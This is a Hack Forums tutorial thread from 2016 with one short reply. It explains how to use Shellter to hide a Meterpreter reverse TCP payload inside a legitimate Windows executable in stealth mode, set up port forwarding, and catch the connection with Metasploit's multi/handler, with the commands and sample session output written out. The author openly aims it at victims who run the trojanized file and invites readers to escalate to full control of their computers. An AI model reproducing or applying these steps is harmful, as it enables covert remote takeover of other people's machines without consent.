

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Effective Windows Reverse TCP Shell and Firewall Bypass \(MSF\)](#)

NeutrA - March 26, 2016, 5:20 pm

BEFORE I EVEN START

IF YOU DO NOT KNOW WHAT METASPLOIT IS,

OR HAVE IT INSTALLED, THIS THREAD IS NOT FOR YOU[/color]

Requirements:Metasploit Installed

Shellter Latest Version

Port Forwarding Capabilities

Command Line Knowledge

Finally, a Target

Port Forwarding:Login to Router

Navigate to Port Forwarding Tab

Set the service to TCP/UDP

Choose a Port, I use 4444

Set Your IP as the Forward Location

Done

Metasploit Payload Creation:

This is my favorite part.

Bit of background on what exactly we are doing.

Essentially what we are trying to accomplish with all of this is a shell,

this shell will allow us to get inside of the infected user(s) computer

and attempt to elevate to superuser.

Open Up Shellter.exe

For the sake of this tutorial we are using Auto mode

Download a common portable .exe application

For PE Target: use the path of the application

Wait For Backup and Instructions to Finish

First Stage Filtering: Enter N for Stealth Mode

Payloads IMPORTANT*: Select L for Listed Payloads

Payload by Index: Enter 1 For Meterpreter_Reverse_TCP

Set LHOST: If you are on LAN select your IPV4 anything else enter your public IP

Set LPORT: Use the port from the forwarding earlier

Done

The created file technically works now
but since we don't have anything to catch the connection
it'll just be a dormant shell. The file is located in the file you put it originally.
It looks exactly like the normal file, nothing but a .bak file. The next part is key
for accessing that shell I've been talking about.

Metasploit Commands:

```
Quote: msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST *your IP here*
LHOST => *your ip here
msf exploit(handler) > set LPORT port that we forwarded earlier*
LPORT => *port we forwarded earlier
msf exploit(handler) > exploit
```

[*] Started reverse handler on your ip:port

[*] Starting the payload handler...

As soon as our victim downloads and executes our special .exe program, we are presented with a meterpreter shell on the target.

Quote:[*] Sending stage (n bytes) to infected ip

[*] Meterpreter session 1 opened (*your ip:port* -> *victim ip:port*) at Sat Mar 26 08:18:32 -7000 2016

This is where I leave you,
use help inside of meterpreter to figure out
how to try and elevate to superuser
and take full control of the computer.

Leave a comment if you have any issues.

-C

m0dem - March 26, 2016, 5:41 pm

Thanks for taking the time to share this. I'm sure it'll be of use.

